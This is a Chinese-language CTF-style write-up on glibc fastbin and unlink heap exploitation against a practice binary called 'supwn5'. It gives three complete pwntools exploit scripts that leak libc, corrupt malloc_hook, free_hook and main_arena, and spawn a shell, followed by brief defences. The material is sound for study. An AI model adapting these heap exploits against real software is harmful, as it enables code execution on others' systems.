怪套路之fastbin
字数 937 2025-08-24 10:10:13
Fastbin利用技术详解
1. 漏洞分析
1.1 程序漏洞
程序存在堆溢出漏洞,在take_note函数中:
read(0, buf[v1], 0x100uLL); // 溢出
可以输入0x100字节,存在堆溢出可能。
1.2 保护机制
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键点:没有开启PIE,便于利用。
2. 基础利用技术
2.1 Unlink攻击
2.1.1 原理
通过构造伪造的chunk,利用unlink操作修改指针实现任意地址写。
2.1.2 利用步骤
- 分配两个0x80大小的chunk和一个小的chunk
- 构造伪造的chunk结构:
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16) payload = payload.ljust(0x80) payload+=p64(0x80)+p64(0x90) - 触发unlink操作:
free(1) - 修改指针实现任意地址读写
2.1.3 完整EXP
from pwn import *
p = process('./supwn5')
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
new(0x80)
new(0x80)
new(1)
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
payload = payload.ljust(0x80)
payload+=p64(0x80)+p64(0x90)
edit(0,payload)
free(1)
pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5
edit(0,pay)
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n','0')
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5
edit(1,pay)
one=libc_base+0x4526a
edit(0,p64(one))
free(1)
p.interactive()
3. Fastbin高级利用技术
3.1 Arbitrary Alloc到malloc_hook
3.1.1 原理
利用fastbin的分配机制,通过修改fd指针指向malloc_hook-0x23,利用该地址的0x7f满足fastbin检查。
3.1.2 利用步骤
- 泄漏libc地址
- 构造fastbin链:
new(0x60) free(2) edit(1,p64(0)*3+p64(0x71)+p64(base+3951341)) # malloc_hook-0x23 - 分配两次0x60大小的chunk,第二次将分配到目标地址
3.1.3 完整EXP
from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
def show(ind):
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n',str(ind))
new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
base = leak-3951480
print hex(base)
new(0x60)
free(2)
edit(1,p64(0)*3+p64(0x71)+p64(base+3951341))
new(0x60)
new(0x60)
edit(3,'a'*0x13+'b'*8)
p.interactive()
3.2 通过main_arena修改top_chunk
3.2.1 原理
通过修改main_arena中的top chunk指针,实现任意地址分配。
3.2.2 利用步骤
- 泄漏libc地址
- 构造fastbin链:
new(0x40) free(2) edit(1,p64(0)*3+p64(0x51)+p64(0x61)) - 修改fastbin的fd指向main_arena附近:
new(0x50) free(3) edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40)) - 修改top chunk指针:
new(0x50) edit(4,p64(0)*6+p64(leak-0x78)) - 分配chunk实现任意地址写
3.2.3 完整EXP
from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def new(size):
p.sendlineafter('please chooice :\n','1')
p.sendlineafter('please input the size : \n',str(size))
def free(ind):
p.sendlineafter('please chooice :\n','2')
p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
p.sendlineafter('please chooice :\n','4')
p.sendlineafter('which one do you want modify :\n',str(ind))
p.sendafter('please input the content',content)
def show(ind):
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n',str(ind))
new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480
new(0x40)
free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))
new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x78))
new(1)
edit(5,'a'*8)
p.interactive()
4. 关键点总结
- 泄漏地址:通过释放chunk后重新分配并读取内容泄漏libc地址
- 构造伪造chunk:精心构造chunk的size和指针字段以满足安全检查
- 利用fastbin机制:
- 利用malloc_hook-0x23处的0x7f字节绕过检查
- 通过修改main_arena结构实现top chunk控制
- 稳定利用:
- 使用system('/bin/sh')比one_gadget更稳定
- 注意环境差异可能导致one_gadget失效
5. 防御措施
- 开启PIE保护
- 使用更安全的堆分配器(如glibc 2.32+)
- 对用户输入进行严格长度检查
- 使用堆cookie等保护机制